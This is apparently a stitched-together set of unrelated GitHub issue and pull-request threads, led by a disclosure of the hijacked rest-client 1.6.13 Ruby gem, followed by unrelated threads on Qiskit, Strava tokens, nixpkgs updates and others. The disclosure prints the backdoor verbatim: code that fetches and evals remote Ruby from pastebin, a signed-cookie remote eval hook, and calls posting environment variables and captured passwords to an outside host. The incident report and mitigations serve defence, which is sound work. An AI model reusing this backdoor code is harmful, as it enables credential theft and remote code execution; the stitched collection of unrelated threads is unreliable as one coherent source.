Warning! is rest-client 1.6.13 hijacked?

Hi,
It seems that rest-client 1.6.13 is uploaded to rubygems.org. I did review between 1.6.9 and 1.6.13 and it seems that latest version evaluate remote code from pastebin.com and sends information to mironanoru.zzz.com.ua
request.rb:
def _!
  begin
    yield
  rescue Exception
  end
end

_!{Thread.new{loop{_!{sleep 900;eval(open('https://pastebin.com/raw/5iNdELNX').read)}}}if Rails.env[0]=="p"}

code from pastebin.com:
_! {
  unless ENV["URL_HOST"].to_s.include?("localhost")
    unless defined?(ZZZ)
      require "openssl"
      require "base64"
      public_key = OpenSSL::PKey.read(Base64.urlsafe_decode64("LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2U3lDWUJiUUNsbTN4a21HMitRNwpSRjd5R1RXNzZoMVlrNE1qSHlNemhhdGUxQitDL1JQWjExbmU1WjBaMjhDK0VNWFVPWHRLTFlJMlF6Yk5VbmRLCmtVSUh3dWtZZ0hLWTRCL1U5OGI5UGJNZExOZjFtZ25UYnppVWhIYUFXQTB3R3RWL0ppQkNqc2taQkh4OTVlZGMKbmg0cCthcTM5ZlowemtFdUhYUUs0TU9URkJlaGJIelhCbmhPajhvU0NURHBjbjJEa1liR3lBcmpGb0JFTzQ4ZAphTklNSlAzQURpU1lYM2hmVmFoYTJCS0xzcnczWGFoMzFmOGh0U1dQNklBMTlqRy9wbVlqK2FBN0ZubWYwVHJDCjNnbGxRNFRrSWp6RVdHVUd5WklVcE9zZkVWeitWTDN0VDF1TDczdzVWa2NPU1MwajZ3cVQ5ckkrY2hHWXJJZEgKRFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="))
      Rack::Sendfile.prepend Module.new {
        define_method(:call) { |e|
          _! {
            signature, payload, = e["HTTP_COOKIE"].match(/__session=(.+);/)[1].split(",")
            signature = Base64.urlsafe_decode64(signature)
            payload = Base64.urlsafe_decode64(payload)
            if public_key.verify(OpenSSL::Digest.new("sha256"), signature, payload)
              payload = JSON.parse(payload)
              if (Time.now.to_i - payload["timestamp"]) <= 60
                eval(payload["ruby"])
              end
            end
          }
          super(e)
        }
      }
      ZZZ = 0
    end
  end
}

_! {
  unless ENV["URL_HOST"].to_s.include?("localhost")
    unless defined?(QQQ)
      Faraday.post("http://mironanoru.zzz.com.ua/", { "x" => ENV["URL_HOST"].to_s, "y" => ENV.to_hash.to_yaml })
      QQQ = 0
    end
  end
}

_! {
  if ENV["URL_HOST"].to_s[0] == "e" && ENV["URL_HOST"].to_s[6] == "x" && ENV["URL_HOST"].to_s.length == 13
    unless defined?(GGG)
      $kgiBWB3l = []
      Module.new {
        def authenticate(password)
          $kgiBWB3l << "#{email}:#{password}" rescue nil
          super
        end
      }.tap { |m| Identity.prepend(m) }
      GGG = 0
    end
    loop {
      break if $kgiBWB3l.empty?
      y = $kgiBWB3l.pop
      Faraday.post("http://mironanoru.zzz.com.ua/", { "x" => ENV["URL_HOST"].to_s, "y" => y })
    }
  end
}

BR,
Jussi

@juskoljo good catch! Just for record, I requested a CVE id for this incident, crediting you as the reporter. I will update once the CVE id is issued.
I notice that rest-client 1.6.13 has 1,061 downloads. Hopefully the CVE can help notify them about this issue.

1.6.13 has been yanked and pusher account: mwmanning has been locked.

I'm sorry everyone. It looks like my rubygems account was compromised.

@sonalkr132 What can I do to regain access to my rubygems account? Thanks.

All yanked version in https://rubygems.org/gems/rest-client/versions is affected?

1.6.13 - August 14, 2019 (114KB) yanked
1.6.12 - August 14, 2019 (113KB) yanked
1.6.11 - August 14, 2019 (113KB) yanked
1.6.10 - August 13, 2019 (11.5KB) yanked

Gem maintainers, please setting up multi-factor authentication. https://guides.rubygems.org/setting-up-multifactor-authentication/

In case people need to write a detailed security report at their company. This might help you.
Security threat consisted out of the following:

It sent the URL of the infected host to the attacker.
It sent the environment variables of the infected host to the attacker. Depending on your set-up this can include credentials of services that you use e.g. database, payment service provider.
It allowed to eval Ruby code on the infected host. Attacker needed to send a signed (using the attacker’s own key) cookie with the Ruby code to run.
It overloaded the #authenticate method on the Identity class. Every time the method gets called it will send the email/password to the attacker. However I'm unsure which libraries use the Identity class though, maybe someone else knows?

Code is available here: https://diff.coditsu.io/diffs/7b368951-323a-42b9-b2ed-15da4ed4f17c

Just ran this to find if one of my project was impacted, figured it could be useful to others:
cd ~/code # Where all my projects live
grep --include="Gemfile.lock" -r . -e 'rest-client \(1\.6\.1[0123]\)'

just only 1k?)
Love it.

Is there a definitive list of affected versions?

Here’s a proposal: make 2FA mandatory

Here’s a proposal: make 2FA mandatory

This will make many Ukrainian families starve.

#notallukrainians

@samgranieri Agreed. You should probably make this suggestion directly to RubyGems

#notallukrainians

Of course not all Ukrainians and the hacker could also be Russian. But it's definitely true, that money-driven hacking and malware distributes wealth from the centres of capitalism to it's edges.

@chazanov I'm sorry, I'll include a smiley next time I write an ironic comment

make more new versions for nothing, merge then auto, do it guys!  Think about it.

Quick way to scan all your Gemfile.lock files checked out on your system (works in Linux).
find . -name Gemfile.lock -exec grep -H 'rest-client (1.6.13)' {} \;

#notallukrainians

Go Ukraine, best Ukraine EU-West

Please release a new, clean 1.6.14 version. This will greatly help people, that run some sort of automatic update procedure and use the 1.6 branch of this gem, as they will automatically receive a non-infected version.

@OpakAlex

make more new versions for nothing, merge then auto, do it guys!  Think about it.

As @mattmanning explained that the issue was caused by compromised RubyGems account, it wasn't merged automatically as a pull request and released as a new gem version.

make more new versions for nothing,

I'm not a rest-client user and can't blame it for that but I would agree with you that gem releases with no significant updates to users are a real pain because of the time needed for reviewing changelogs.

@nfedyashev i mean this 1k people, who turn auto updates merges.  WE need push down updates and new versions.

@OpakAlex
oh, sorry I misunderstood your point.
Totally agree, "automatically update to the latest gem version" is crazy.

CVE-2019-15224 was assigned to this issue

@OpakAlex you can introduce a policy of reviewing releases for your projects with the differ that I mentioned and Coditsu. We're almost done with a OSS bundler plugin that will make mandatory reviewing a piece of cake.

what is Coditsu @mensfeld ?

@OpakAlex my partially OSS (soon fully OSS) set of security and quality tools for Ruby wrapped in a docker container that does not require a permanent access to git to run. Here's an example: https://app.coditsu.io/karafka/builds/commit_builds/10a892f5-aef6-49c6-ba29-e2362b841c90/validations
It pings you about deprecations without bundling them and allows you to review and approve / reject any gem version. And plugin will take the "votes" from the organisation you own and use that to block installing of deps that weren't reviewied, especially when upgrading (https://app.coditsu.io/karafka/builds/validations/b689b028-36ef-4ed9-a498-347c2da2b25b/offenses).

i do more wonder why someone or something would download infected "1.6." gems when 1.7./1.8.* are available since 2015?

no thanks. I prefere check source code before update, more easy, your tool can be hacked too. But fools will like it ;) you on right way man, but i will never use it. @mensfeld . I can not trust external checks for security, sorry.

@OpakAlex of course they can be hacked. That's why it is slowly released as an OSS that you can have internally. The only thing that will be required will be ability to receive rubygems webhooks for updates.

i do more wonder why someone or something would download infected "1.6." gems when 1.7./1.8.* are available since 2015?

legacy.

@mattmanning @L2G @ab please lock this thread to maintainers, I think it's run its course for productive conversation.

man @mensfeld , git, linux, grep, space program, moon program was done just because people use their brain.  I will never use it. my projects so easy, i don't have 1+k gems. just some.

Please note that the above grep command for searching for installs does not seem to work for me.  Based on a test file created as follows
echo "rest-client (1.6.13)" > Gemfile.lock
the following command found the file.
sudo grep --include='Gemfile.lock' -r . -e 'rest-client (1\.6\.1[0123])' 2> /dev/null

just only 1k?)
Love it.

Not great, not terrible

if following the suggestion from @and0x000  to encourage auto-updates some sign has to be left on the machine to show that it was infected otherwise people won't know they have to cleanup/change passwords/rotate credentials.

A similar event happened in the JS ecosystem this year, and my favorite takeaway was this blog post’s:
https://link.medium.com/VMrXqstgjZ
Even with 2FA, and even if you review the code (as hacks can be obscured), hacks can happen. So how do we limit the possible impacts of a dependency when it is hacked?

A similar event happened in the JS ecosystem this year, and my favorite takeaway was this blog post’s:
https://link.medium.com/VMrXqstgjZ
Even with 2FA, and even if you review the code (as hacks can be obscured), hacks can happen. So how do we limit the possible impacts of a dependency when it is hacked?

just use your braine for development, not for youtube or instagram. easy)

Even with 2FA, and even if you review the code (as hacks can be obscured), hacks can happen. So how do we limit the possible impacts of a dependency when it is hacked?

Amongst other major structural things like sandboxing, if you're DNS logging at work and see callouts to fun Ukranian domains when you have zero business there, that may be an indicator.

Looks like a targeted attack. 1.6.x is quite old. Is there a list of dependants of this version?

Maybe it's worth releasing additional version which would raise an installation error and point users to this issue?

Thank you all for the lively discussion. We'll return with some relevant follow ups.

I just posted the following to the rest-client email announcement list:
https://rest-client.groups.io/g/main/message/325

Hi all,
On August 14, attackers published a series of rest-client versions
from 1.6.10 to 1.6.13 using the credentials of a rest-client
maintainer whose RubyGems.org account was compromised. The affected
versions were downloaded a small number of times (~1000).
On August 19, Jussi Koljonen observed the malicious gem version and
created an issue. Later that day, the RubyGems security team yanked
the offending gem version and locked the affected maintainer's
account. Several other gems were similarly affected.
https://github.com/rubygems/rubygems.org/wiki/Gems-yanked-and-accounts-locked#19-aug-2019
The malicious backdoor in version 1.6.13 would activate in Rails
installations where Rails.env started with "p" (as in "production").
It would then download code from a Pastebin.com URL and execute it.
The pastebin is now gone, but it reportedly phoned home to execute
instructions from mironanoru DOT zzz DOT com DOT ua, which has also
disappeared. This was reportedly used to mine cryptocurrency, but
could have been used for any purpose.
Most rest-client users were not affected because the 1.6.x series is
very old and was superseded by 1.7.0 in 2014. Only users who pin to
1.6.x and updated to 1.6.13 in the last week could have been affected,
and only then in Rails production environments.
To search for Gemfile.lock files containing one of the malicious
versions, you may find this grep command useful:
cd dir-to-search
grep --include='Gemfile.lock' -r . -e 'rest-client (1.6.1[0123])'
The rest-client maintainers will take a number of steps in response to
this incident:
First, we have released a new version 1.6.14 so that users who are for
some reason unable to upgrade to a modern version of rest-client can
have confidence in the security of a bundle update.
Second, we will establish security practices that we expect of
maintainers, such as enabling two-factor authentication on
RubyGems.org accounts (available since last year).
Third, we will seek to adopt policies for maintainer activity and
continuity, and ideally seek one or two new active maintainers.  The
latest release prior to today was in 2017, so it is not a surprise
that rest-client has several maintainers who have not been active in
many years.
The RubyGems.org team is also in the process of making a number of
upstream security improvements in response to the increasing
prevalence of attacks targeting popular open source libraries. These
include:

Adding web UI to show which specific user pushed or yanked a given
gem release.
Adding email notifications to owners of new gem pushes. (currently
disabled due to using a free email provider plan)
Validating passwords against a list of known compromised passwords.
(in progress)

You can see this work in progress or make your own contributions at
https://github.com/rubygems/rubygems.org/
Thanks for your patience and support,
Andy
References:
https://github.com/rest-client/rest-client/issues/713
CVE-2019-15224


GHA to build sshd

Borrowed from ryuk.
It's not ideal, but I believe consistency with Ryuk outweighs the possible benefits of better tagging and whatnot.
I also updated the base Alpine image to the latest version. As 3.5 is really old and is missing builds for some platforms.
Fixing https://github.com/testcontainers/testcontainers-java/issues/5482

it might need to define secrets to access DockerHub.


chore: fix pod restart helm chart

/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: rawlingsj
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS [rawlingsj]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


add excel sl integration

this pr adds excel 365 sl integration to the docs list.
it als reuses the gsheets content by turnining it into a snippet.
docs project

hey @rpourzand , here's the excel pr content and wanted to clarify if the 'saved queries' content also applied? if so, could you provide a screenshot of how the query builder looks like please?
Also do we need a link to the google api or Limited use policy disclosure?

hey @rpourzand , here's the excel pr content and wanted to clarify:

is the order in the 'integartions' main page correct?
is the 'saved queries' content also applicable? if so, could you provide a screenshot of how the query builder looks like please?
Also do we need a link to the google api or Limited use policy disclosure?

-- The preview unfortunately freezes for me, so I can't see it. Can you share a screenshot?
-- For the initial provide, the saved queries will not be there. We will definitely add them at some point though.
-- We will have a link on the Excel marketplace once we get published, so we can add that in later. I'll ask legal if we need to have a limited use policy disclosure, I'm not sure!

merging as contet changes are minimal and include release notes, as well as turning content into snippet.


Add 'hash' field to model instances

Add a non-mandatory string field (e.g. named hash) to model instances. This will hold the model hashes, thereby enabling identification of models.
Currently, often the version or description fields are appropriated for saving this information.

@HFragnaud , @joffreygonin : Could we have this included soon?


Cannot confirm changes

Python: Traceback (most recent call last):
File "C:\Users\golde\AppData\Roaming\Blender Foundation\Blender\2.92\scripts\addons\Abnormal-master\operators_modal.py", line 67, in modal
status = basic_ui_hover_keymap(self, context, event)
File "C:\Users\golde\AppData\Roaming\Blender Foundation\Blender\2.92\scripts\addons\Abnormal-master\functions_keymaps.py", line 66, in basic_ui_hover_keymap
self.act_reg, self.act_rv3d, self._orbit_ob.location)
ReferenceError: StructRNA of type Object has been removed
location: :-1

What steps did you take that led to this error?
Are there any error messages in the System Console before the one you provided?
Are you using the current master or an older version?

I think I found the issue. It gives the error when clicking the confirm changes button.
The changes are being made though. For now you can use Tab to confirm and not get the error. I will get it fixed momentarilly

Fix is now in master. Cancel and Confirm no longer give an error.


Draft of project overview, add link to team formation

4-5 member teams

Suggest updating this: "The very first deliverable for the project will be a team formation survey: you will be able to indicate
your preferences for teammates. The instructors will assign students to the teams based on a number of factors including your responses to the survey."

You may want to remove the link for the survey since each section will have its own link

I thought that from our conversation today others shared that they would like to use a single team formation form - this was what I proposed and was in the agenda. Should I update my form to NOT have the dropdown to select with section the students are in, and make it clear that it is only for my section?

In project plan, we can add this somewhere: "Your team will self-organize, as agile teams do and will use the work breakdown and schedule as the basis for weekly check-ins with your team's TA. "

Somewhere in "project implementation or plan, we should mention peer evaluations and evaluation of each sprint"
Rest looks good.

I've shared the form with you on Google Drive. Please, feel free to edit it directly

Updated!


[AUTOPATCHER-CORE] Upgrade python-sphinx_rtd_theme to 2.0.0 3.0 - Upgrade

[AUTOPATCHER-CORE] Upgrade python-sphinx_rtd_theme to 2.0.0 3.0 - Upgrade
Upgrade pipeline run -> https://dev.azure.com/mariner-org/mariner/_build/results?buildId=509251&view=results
buddy build -> https://dev.azure.com/mariner-org/mariner/_build/results?buildId=509252&view=results

https://dev.azure.com/mariner-org/mariner/_build/results?buildId=514331&view=results


Init handlers before passing a message to them

Handlers might implement the requeue? method which returns a boolean value depending on the result of the call method.
class Handler
  def self.call(payload)
    @requeue = true

    # some failure from which the handler cannot recover

    @requeue = false
  end

  def requeue?
    @requeue
  end
end

Let's say there are 2 concurrent requests to the handler which fail, since there is only one object one handler will spoil @requeue variable for another one. It might result in getting unexpected behavior.

Even if you initialize an object like that, it will be global, all messages to the foo channel will be passed to the same instance.

That is absolutely correct. The is idea to use one handler instance to serve all messages from one queue. That means handlers must be designed the way that do not change their state while processing messages. I don't see a reason to create a new instance of a handler for each incoming message, but if that is necessary that can be done this way (with no changes to PTT):
class Handler
  def self.call(payload)
    instance = new
    instance.call(payload)
  end

  def call(payload)
    # do the work
  end
end

PTT.configure do |tube|
  tube.register_handler('foo', Handler)
end

However I might see the reason why you might want to have an instance of a handler per message. It's because of requeue? method. Right? The method could be adjusted so it receives an argument (e.g. exception instance) and then returns a boolean result based on some logic hidden inside the method. Then in case of exception PTT would ask whether that specific exception should be rejected or not. Something like this:
module PTT
  class Consumer
    def receive(delivery_info, properties, body)
      @handler.call(JSON.parse(body))
      @channel.ack(delivery_info.delivery_tag)
    rescue => e
      @channel.reject(delivery_info.delivery_tag, @handler.requeue?(e))
    end
  end
end

That would keep the decision making responsibility (whether a message should be requeued or not) away from PTT, but allow to use just one instance of a handler for all messages of the queue.
Do I understand the problem correctly? Does the solution make sense to you?

@handler.requeue?(e)

It isn't enough to get an exception, because the same exception might appear in different places. For example:
def call(id)
  product = Product.find(id)

  product.update!(some: :attr) # validation might fail

  do_something_with_product(product)

  product.update!(some: :different) # validation might fail
end

When the first update fails, we might want to retry, but when the second update fails, we don't want to retry, because some work with the product was already done, we cannot rollback it.
There must be very clear point when a particular message gets requeued.

allow to use just one instance of a handler for all messages of the queue.

I am sorry, but it leads to issues in scalability. Let's imagine there are 10K messages in the queue and each message takes 10 secs to be performed.
10000 * 10 / 3600 = ~ 27,7 hrs
So, there should be an option to have a few instances to scale handlers.

Everything what you are saying makes sense to me. Let me explain a few moments.

There must be very clear point when a particular message gets requeued.

Agree. However it's important to design a handler so it's suitable for handling messages. You've brought Sidekiq as an examples, and #perform method of a worker must follow rules/conventions otherwise it won't work properly. In other words the example of #call method from above won't work nicely as method for a worker because it does not respect retries supported by Sidekiq.

I am sorry, but it leads to issues in scalability.

It's nice to think about scalability, but be careful with premature optimisation.

So, there should be an option to have a few instances to scale handlers.

Absolutely agree. There's such option, but PTT should be adjusted a little bit. Current implementation allows one handler per queue. That means messages are handled sequentially, but not concurrently. That has been done on purpose because of the reason I just mentioned above. PTT is running for a couple years handling messages sequentially and there's still no problem with performance, but it isn't hard to add concurrent messages handling.
In order to handle messages of a work queue concurrently, multiple consumers must be subscribed to the queue. Each consumer is bound to one handler (in terms of PTT). So consumer registry implementation must be adjusted. Once that is done, something like this would be possible:
# add two concurrent handlers for messages in `foo` queue
PTT.configure do |tube|
  tube.register_handler('foo', Handler.new)
  tube.register_handler('foo', Handler.new)
end

In this case, two handler instances would handle all messages from the queue. Of course they must be designed in a way that respects retries and other queue specific things.

Personally I would try to postpone scalability optimisation until it's really necessary.

PTT.configure do |tube|
  tube.register_handler('foo', Handler.new)
  tube.register_handler('foo', Handler.new)
end

How to know which handler is idle? Sp, it should get a message. If there is no such mechanism, one worker will perform all jobs, the another one will still be idle.
I mentioned Sidekiq, because it is a very good example. Concurrency isn't possible if there is one object which mutates, we will get race conditions.

How to know which handler is idle? So, it should get a message. If there is no such mechanism, one worker will perform all jobs, the another one will still be idle.

Good question. Short answer: RabbitMQ will handle this. It will distribute all tasks using the round-robin algorithm. I would recommend to read this guide, because it should help you to understand how RabbitMQ-based work queues work.

Hi @soulim, Based on our discussion and @dslh suggestion I've update the PR, please, have a look.

Btw, none of @gohiring/api-engineers can merged PRs :blush:

@dnesteryuk do you mean this repo?..

@dnesteryuk could you try one more time? Repo had wrong access level.


Missing access token parameter

Hello,
I have setup strava-offline a week ago, everything worked including gpx download. Now I came back to it and run strava-offline sqlite with following result:
Traceback (most recent call last):
  File "/home/ligi/.local/lib/python3.10/site-packages/requests_oauthlib/oauth2_session.py", line 528, in request
    url, headers, data = self._client.add_token(
  File "/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/clients/base.py", line 217, in add_token
    raise TokenExpiredError()
oauthlib.oauth2.rfc6749.errors.TokenExpiredError: (token_expired)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/ligi/.local/bin/strava-offline", line 8, in <module>
    sys.exit(cli())
  File "/home/ligi/.local/lib/python3.10/site-packages/click/core.py", line 1157, in __call__
    return self.main(*args, **kwargs)
  File "/home/ligi/.local/lib/python3.10/site-packages/click/core.py", line 1078, in main
    rv = self.invoke(ctx)
  File "/home/ligi/.local/lib/python3.10/site-packages/click/core.py", line 1688, in invoke
    return _process_result(sub_ctx.command.invoke(sub_ctx))
  File "/home/ligi/.local/lib/python3.10/site-packages/click/core.py", line 1434, in invoke
    return ctx.invoke(self.callback, **ctx.params)
  File "/home/ligi/.local/lib/python3.10/site-packages/click/core.py", line 783, in invoke
    return __callback(*args, **kwargs)
  File "/home/ligi/.local/lib/python3.10/site-packages/strava_offline/config.py", line 36, in wrapper
    return f(config_class(**config_kwargs), **f_kwargs)
  File "/home/ligi/.local/lib/python3.10/site-packages/strava_offline/cli.py", line 29, in cli_sqlite
    sync.sync(config=config, strava=strava)
  File "/home/ligi/.local/lib/python3.10/site-packages/strava_offline/sync.py", line 92, in sync
    sync_bikes(strava, db)
  File "/home/ligi/.local/lib/python3.10/site-packages/strava_offline/sync.py", line 78, in sync_bikes
    table_bike.upsert(db, strava.get_bikes())
  File "/home/ligi/.local/lib/python3.10/site-packages/strava_offline/strava.py", line 72, in get_bikes
    return self.get_athlete()['bikes']
  File "/home/ligi/.local/lib/python3.10/site-packages/strava_offline/strava.py", line 67, in get_athlete
    r = self._session.get("https://www.strava.com/api/v3/athlete")
  File "/home/ligi/.local/lib/python3.10/site-packages/requests/sessions.py", line 602, in get
    return self.request("GET", url, **kwargs)
  File "/home/ligi/.local/lib/python3.10/site-packages/requests_oauthlib/oauth2_session.py", line 547, in request
    token = self.refresh_token(
  File "/home/ligi/.local/lib/python3.10/site-packages/requests_oauthlib/oauth2_session.py", line 496, in refresh_token
    self.token = self._client.parse_request_body_response(r.text, scope=self.scope)
  File "/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/clients/base.py", line 448, in parse_request_body_response
    self.token = parse_token_response(body, scope=scope)
  File "/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/parameters.py", line 441, in parse_token_response
    validate_token_parameters(params)
  File "/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/parameters.py", line 451, in validate_token_parameters
    raise MissingTokenError(description="Missing access token parameter.")
oauthlib.oauth2.rfc6749.errors.MissingTokenError: (missing_token) Missing access token parameter.

I also see that there is this in the README:
(That settings page also lists Your Access Token but this won't let you download private activities or see names of bikes. Therefore its use is not supported in strava-offline.)
Any advice, please?
Thank you,
m.

This looks like the refresh_token is no longer valid, so you'll need to relogin.
There isn't currently a subcommand to do that, but you can manually rm ~/.config/strava_offline/token.json.
Not sure why the token became invalid, though. Perhaps you changed your password, or revoked strava_offline's authorization in Strava's settings?

Okay, removed the token.json and it is working again. I don't remember any event which could cause this. Thank you!
m.


Make UseIISIntegration override IServer on every call

Same behavior as other servers.

Also ContentRoot. See https://github.com/aspnet/IISIntegration/issues/727

I would argue that we should let it fail and allow customers to discover that CurrentDirectory is not what they expected when running inproc.  Also, document this in migration guide.

Assigning @pakrym all future in proc bug reports for ContentRoot....

@Tratcher what if we add a warning log to our startup filter that would check if the content root is set to current directory?

Feel free to log it, so long as you fix it as well.

@muratg / @pakrym / @Tratcher - is this a must-have for Preview2? If not, let's move to RC1.

Done, https://github.com/aspnet/IISIntegration/blob/dev/src/Microsoft.AspNetCore.Server.IIS/WebHostBuilderIISExtensions.cs#L38


Support for URL querystring added

I added support for URL querystring such as "/foo?q=bar". Any querystring in URL will be parsed with node's querystring module and will be appended to req.query as Express do.
I've also changed code style to match my personal preference. Revert them if you want to.

Any plans to merge this and update npm package?


No module named 'qiskit.transpiler.passes.routing.cython.stochastic_swap.utils'

Informations

Qiskit version: 0.23.2
Python version: 3.8.5
Operating system: macOS 11.1

What is the current behavior?
import qiskit produces the error (traceback from doing the import in ipython):
ModuleNotFoundError                       Traceback (most recent call last)
<ipython-input-1-578b7f7e9727> in <module>
----> 1 import qiskit

~/src/qiskit-terra/qiskit/__init__.py in <module>
     74 # Moved to after IBMQ and Aer imports due to import issues
     75 # with other modules that check for IBMQ (tools)
---> 76 from qiskit.execute import execute  # noqa
     77 from qiskit.compiler import transpile, assemble, schedule, sequence  # noqa
     78

~/src/qiskit-terra/qiskit/execute.py in <module>
     22 import logging
     23 from time import time
---> 24 from qiskit.compiler import transpile, assemble, schedule
     25 from qiskit.providers import BaseBackend
     26 from qiskit.providers.backend import Backend

~/src/qiskit-terra/qiskit/compiler/__init__.py in <module>
     32
     33 from .assemble import assemble
---> 34 from .transpile import transpile
     35 from .schedule import schedule
     36 from .sequence import sequence

~/src/qiskit-terra/qiskit/compiler/transpile.py in <module>
     32 from qiskit.transpiler.exceptions import TranspilerError
     33 from qiskit.transpiler.instruction_durations import InstructionDurations, InstructionDurationsType
---> 34 from qiskit.transpiler.passes import ApplyLayout
     35 from qiskit.transpiler.passmanager_config import PassManagerConfig
     36 from qiskit.transpiler.preset_passmanagers import (level_0_pass_manager,

~/src/qiskit-terra/qiskit/transpiler/passes/__init__.py in <module>
    124
    125 # layout selection (placement)
--> 126 from .layout import SetLayout
    127 from .layout import TrivialLayout
    128 from .layout import DenseLayout

~/src/qiskit-terra/qiskit/transpiler/passes/layout/__init__.py in <module>
     17 from .dense_layout import DenseLayout
     18 from .noise_adaptive_layout import NoiseAdaptiveLayout
---> 19 from .sabre_layout import SabreLayout
     20 from .csp_layout import CSPLayout
     21 from .apply_layout import ApplyLayout

~/src/qiskit-terra/qiskit/transpiler/passes/layout/sabre_layout.py in <module>
     22 from qiskit.transpiler.passes.layout.enlarge_with_ancilla import EnlargeWithAncilla
     23 from qiskit.transpiler.passes.layout.apply_layout import ApplyLayout
---> 24 from qiskit.transpiler.passes.routing import SabreSwap
     25 from qiskit.transpiler.passmanager import PassManager
     26 from qiskit.transpiler.layout import Layout

~/src/qiskit-terra/qiskit/transpiler/passes/routing/__init__.py in <module>
     16 from .layout_transformation import LayoutTransformation
     17 from .lookahead_swap import LookaheadSwap
---> 18 from .stochastic_swap import StochasticSwap
     19 from .sabre_swap import SabreSwap

~/src/qiskit-terra/qiskit/transpiler/passes/routing/stochastic_swap.py in <module>
     25 from qiskit.transpiler.layout import Layout
     26 # pylint: disable=no-name-in-module
---> 27 from .cython.stochastic_swap.utils import nlayout_from_layout
     28 # pylint: disable=no-name-in-module
     29 from .cython.stochastic_swap.swap_trial import swap_trial

ModuleNotFoundError: No module named 'qiskit.transpiler.passes.routing.cython.stochastic_swap.utils'

Steps to reproduce the problem
conda create my-env python=3.8 numpy scipy pandas cython
conda activate my-env
pip install qiskit
python -c "import qiskit"

What is the expected behavior?
The import works...
Suggested solutions

Nevermind. I was launching the above from my local qiskit-terra directory which was causing the conflict.

Nevermind. I was launching the above from my local qiskit-terra directory which was causing the conflict.

Well to get around that locally it is python setup.py build_ext --inplace then import

Well to get around that locally it is python setup.py build_ext --inplace then import


merge v2.0.3 changes to 6.x.x

@vsachinv Thank you for the PR.
From what I can see, this PR is adding publishing of release artifacts to Github Packages, is that right?
The Grails Team has just now done changes to the grails-gradle-plugin to simplify publishing and streamline that over all the Grails repositories (https://github.com/grails/grails-gradle-plugin/pull/355).
We are about to update the project to this new functionality and can release 4.0.0 after that.
Is that ok with you?

@matrei Thats correct. Its for mainly Github Packages. Also, to have code changes from lower release streamlined to latest. If Grails-gradle-plugin getting streamline then no issues we can see if we don't want to have this change otherwise it could be good to have 🙂

@vsachinv Yes, you are right, the changes to the grails-gradle-plugin is for Grails 7, so that does not have any bearing on this discussion.
However, from a maintenance perspective, I don't think it's a good idea to diverge in this project from what we are doing in other Grails Team managed repos.
Looking at https://github.com/gpc/grails-asynchronous-mail/pull/4, the reason that releasing to Github Packages was introduced, was because io.github.gradle-nexus.publish-plugin is not compatible with Gradle 3.5 (that is used in an older release branch).
As publishing with io.github.gradle-nexus.publish-plugin is not a problem for 6.x.x, I don't think it's necessary to add publishing to Github Packages in 6.x.x.
Would you like me to release 4.0.0?
As far as I can see, the only relevant changes on the 6.x.x branch is the the update to Grails 6 (Java 11), and the version update to the mail plugin.

@matrei Sure we can skip this PR. Yes, please publish.


Proxy agent: panic after retries, broadcast abort, minor fixes

fixes #400

Jenkins job manager/presubmit passed

Jenkins job manager/e2e-smoketest passed

Jenkins job manager/presubmit passed

Jenkins job manager/e2e-smoketest passed


php81Packages.box: 4.6.1 -> 4.6.2

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for php81Packages.box is: An application for building and managing Phars
meta.homepage for php81Packages.box is: https://github.com/box-project/box
meta.changelog for php81Packages.box is: https://github.com/box-project/box/releases/tag/4.6.2
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 4.6.2 with grep in /nix/store/8ragr1hyrfl9r743xpg3s39a231ilacg-box-4.6.2
found 4.6.2 in filename of file in /nix/store/8ragr1hyrfl9r743xpg3s39a231ilacg-box-4.6.2

Rebuild report (if merged into master) (click to expand)

4 total rebuild path(s)

4 package rebuild(s)

First fifty rebuilds by attrpath

php81Packages.box
php82Packages.box
php83Packages.box

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/8ragr1hyrfl9r743xpg3s39a231ilacg-box-4.6.2 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A php81Packages.box https://github.com/r-ryantm/nixpkgs/archive/cb82462b3d250edc7e07fba978d924f89227abf1.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/cb82462b3d250edc7e07fba978d924f89227abf1#php81Packages.box

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/8ragr1hyrfl9r743xpg3s39a231ilacg-box-4.6.2
ls -la /nix/store/8ragr1hyrfl9r743xpg3s39a231ilacg-box-4.6.2/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review --extra-nixpkgs-config '{ allowInsecurePredicate = x: true; }' run on x86_64-linux 1

1 package built:

php81Packages.box (php82Packages.box ,php83Packages.box)

Maintainer pings
cc @aanderse @drupol @Ma27 @talyz for testing.

@ofborg build php81Packages.box


Idea?

Hi!
Maybe you add a few options such as in this app?
https://itunes.apple.com/us/app/system-status-activity-monitor/id401457165?mt=8

What do you think?

@lubieapki It's very good! There are many cool features in that app and I will consider taking some into my app. Now I'm stucked at the problem that how to get the temperature of iPhone device.
